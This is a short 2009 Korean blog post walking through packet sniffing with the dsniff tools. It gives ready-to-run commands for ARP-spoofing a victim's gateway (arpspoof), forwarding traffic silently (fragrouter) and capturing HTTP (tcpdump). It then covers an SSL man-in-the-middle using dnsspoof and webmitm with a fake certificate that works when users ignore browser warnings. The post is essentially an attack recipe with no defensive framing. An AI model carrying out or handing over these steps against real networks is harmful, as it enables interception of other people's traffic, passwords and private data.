2009.06.03 15:14

dsniff 이용한 패킷 스니핑 (Packet Sniff)

동일 네트웍 상에 있는 컴퓨터 들은, gateway 의 mac주소를 arp spoofing 하는 방법으로 밖으로 나가는 패킷들을 sniffing 할 수 있다.

dsniff 란 툴을 이용하면 이것들을 쉽게 할 수 있다.

콘솔을 3개 띄워서 각각의 명령어를 친다.

1. gateway 의 주소를 속인다
$ sudo arpspoof -i wlan0 -t 192.168.1.3 192.168.1.1

2. 들어오는 패킷을 외부로 라우팅 해준다. (이렇게 해야 실제 컴퓨터를 사용하는 사람은 기존과 똑같이 인터넷을 이용할 수 있다.)
$ sudo fragrouter -i wlan0 -B1

3. 원하는 packet 을 캡춰한다.
$ sudo tcpdump tcp dst port 80 -i wlan0 -s1500 -w-


만약 SSL 을 사용한다면 이런식으로 패킷을 본다고 해도 암호화 되었으므로 내용을 볼 수는 없다. 이때는 MITM 이라는 공격 방법을 통해 가능하다.

원리는 중간에서 가짜 인증서를 클라이언트에게 주고 패킷을 실서버랑 중계해 내용을 sniffing 하는 방법으로, 사용자가 인증서를 제대로 확인하고 접속 할때만 가능하다.


사용자가 위와 같은 경고창을 사용자가 무시한면 sniffing 이 가능하다. (그림: IE6 인증서 경고창)

1, 2 번작업 동일.

3. dns 를 속인다. (host 파일에 속일 주소를 적는다.) 이렇게 하면 내가 실제 서버가 아닌 내가 지정한 서버로 접속을 하도록 만들 수 있다.
$ cat host
192.168.1.2 *.sample.com
$ sudo dnsspoof -f host

4. 이제 들어오는 패킷을 실제 웹서버로 중계한다.
$ sudo webmitm -dd

중계하는 과정에 가짜 인증서로 암호화된 패킷을 디코딩 해 모두 볼 수 있게 된다. 실제 웹서버에게는 정상적인 인증서로 내용을 암호화해서 보내게 된다.


http://monkey.org/~dugsong/dsniff/
http://arpspoof.sourceforge.net/


Trackback 1 Comment 0